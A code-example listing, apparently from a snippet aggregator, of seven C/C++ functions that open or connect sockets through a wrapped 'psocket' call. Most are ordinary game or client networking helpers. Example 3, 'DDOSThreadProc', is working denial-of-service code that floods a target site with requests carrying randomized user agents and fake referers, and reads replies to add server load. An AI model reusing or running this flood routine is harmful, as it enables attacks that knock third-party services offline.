Beispiel #1
0
int WINS_OpenSocket(int port)
{
    int newsocket;
    struct sockaddr_in address;
    u_long _true = 1;

    if ((newsocket = psocket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
        return -1;
    }

    if (pioctlsocket(newsocket, FIONBIO, &_true) == -1) {
        goto ErrorReturn;
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = myAddr;
    address.sin_port = htons((unsigned short)port);
    if (bind(newsocket, (void *)&address, sizeof(address)) == 0) {
        return newsocket;
    }

    Sys_Error("Unable to bind to %s", WINS_AddrToString((struct qsockaddr *)&address));
ErrorReturn:
    pclosesocket(newsocket);
    return -1;
}
Beispiel #2
0
SOCKET MyConnect1( char *Host, int Port )
{
	LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );

	if ( lpHost == NULL )
	{
		return -1;
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );

	if( Socket == -1 )
	{
		return -1;
	}

	struct sockaddr_in SockAddr;

	SockAddr.sin_family		 = AF_INET;
	SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
	SockAddr.sin_port		 = HTONS( (unsigned short)Port );

	if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket(Socket);
		return -1;
	}

	return Socket;
}
Beispiel #3
0
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
	
	TMemory Buf(1024);
	TMemory Referer(256);

	DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;

	while (!DDOS->FTerminated)
	{
		// Создаём сокет
		SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);

		if(Socket != SOCKET_ERROR)
		{
			// Подключаемся к серверу
			struct sockaddr_in SockAddr;
			SockAddr.sin_family		 = AF_INET;
			SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
			SockAddr.sin_port		 = HTONS((unsigned short)DDOS->FRequest.Port);

			// подключаемся к сокету
			if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
			{
				// Генерируем данные
				PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
				string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');

				DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); 
				
				int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());

				int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);

				// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
				if (Sended == Size)
				{
					Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
				}


			}
			pclosesocket(Socket);
		}

		// Ждём до следующей отправки
		if (!DDOS->FTerminated)
			pSleep(SleepInterval);
    }

	pInterlockedDecrement(&DDOS->FThreadsCount);

	return 0;
}
Beispiel #4
0
SOCKET NetConnect( char *Host, int Port )
{
	int ip = (int)pinet_addr( (const char*)Host );

	if ( ip == (int)INADDR_NONE )
	{
		LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );

		if ( !rhost )
		{
			return -1;
		}

		ip = *(long*)( rhost )->h_addr_list[0];

		if ( !ip )
		{
			return -1;
		}
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

	if ( Socket == INVALID_SOCKET ) 
	{
		return -1;
	}

	LINGER l;

	l.l_linger = 3;
	l.l_onoff  = 1;

	psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );

	struct sockaddr_in SockAddr;

	m_memset( &SockAddr, 0, sizeof( SockAddr ) );

	SockAddr.sin_family			  = AF_INET;
	SockAddr.sin_port			  = HTONS( Port );
	SockAddr.sin_addr.S_un.S_addr = ip;

	if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket( Socket );
		return -1;
	}

	return Socket;
}
Beispiel #5
0
SOCKET MyConnect( char *Host, int Port )
{
	LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );

	if ( lpHost == NULL )
	{
		return -1;
	}


	sockaddr_in SockAddr;

	SockAddr.sin_family		 = AF_INET;
	SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
	SockAddr.sin_port		 = (USHORT)phtons( (unsigned short)Port );

	ConnectionData connData;
	connData.SockAddr = SockAddr;
	for(int i=0; i<3; i++) {
		SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );
		
		if( Socket == -1 )
			return -1;
		connData.Socket = Socket;

		HANDLE ConnectThreadHandle = (HANDLE)pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ConnectThread, &connData, NULL, 0);
		if((long)pWaitForSingleObject(ConnectThreadHandle, 10000) == WAIT_TIMEOUT)
		{
			if((int)pshutdown(Socket, 2) == SOCKET_ERROR)
			{
			}
			pTerminateThread(ConnectThreadHandle, 1);
		}
		DWORD exitCode = 0;
		BOOL res = (BOOL)pGetExitCodeThread(ConnectThreadHandle, &exitCode);

		//wsprintfA(&str[0], "EC:%d", exitCode);
		//OutputDebugStringA(&str[0]);

		if(res && exitCode == 0)
			return Socket;
	}


	return -1;
}
Beispiel #6
0
int
WIPX_OpenSocket ( int port )
{
	int		handle;
	int		newsocket;
	struct sockaddr_ipx	address;
	u_long	_true = 1;

	for (handle = 0; handle < IPXSOCKETS; handle++)
		if (ipxsocket[handle] == 0)
			break;
	if (handle == IPXSOCKETS)
		return -1;

	if ((newsocket = psocket (AF_IPX, SOCK_DGRAM, NSPROTO_IPX)) == INVALID_SOCKET)
		return -1;

	if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
		goto ErrorReturn;

	if (psetsockopt(newsocket, SOL_SOCKET, SO_BROADCAST, (char *)&_true, sizeof(_true)) < 0)
		goto ErrorReturn;

	address.sa_family = AF_IPX;
	memset(address.sa_netnum, 0, 4);
	memset(address.sa_nodenum, 0, 6);;
	address.sa_socket = htons((unsigned short)port);
	if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
	{
		ipxsocket[handle] = newsocket;
		sequence[handle] = 0;
		return handle;
	}

	Sys_Error ("Winsock IPX bind failed\n");
ErrorReturn:
	pclosesocket (newsocket);
	return -1;
}
Beispiel #7
0
int WINS_OpenSocket (int port)
{
	int newsocket;
	struct sockaddr_in address;
	u_long _true = 1;

	if ((newsocket = psocket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
		return -1;

	if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
		goto ErrorReturn;

	address.sin_family = AF_INET;
	address.sin_addr.s_addr = INADDR_ANY;
	address.sin_port = htons((unsigned short)port);
	if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
		return newsocket;

Sys_Error ("bind");
ErrorReturn:
	pclosesocket (newsocket);
	return -1;
}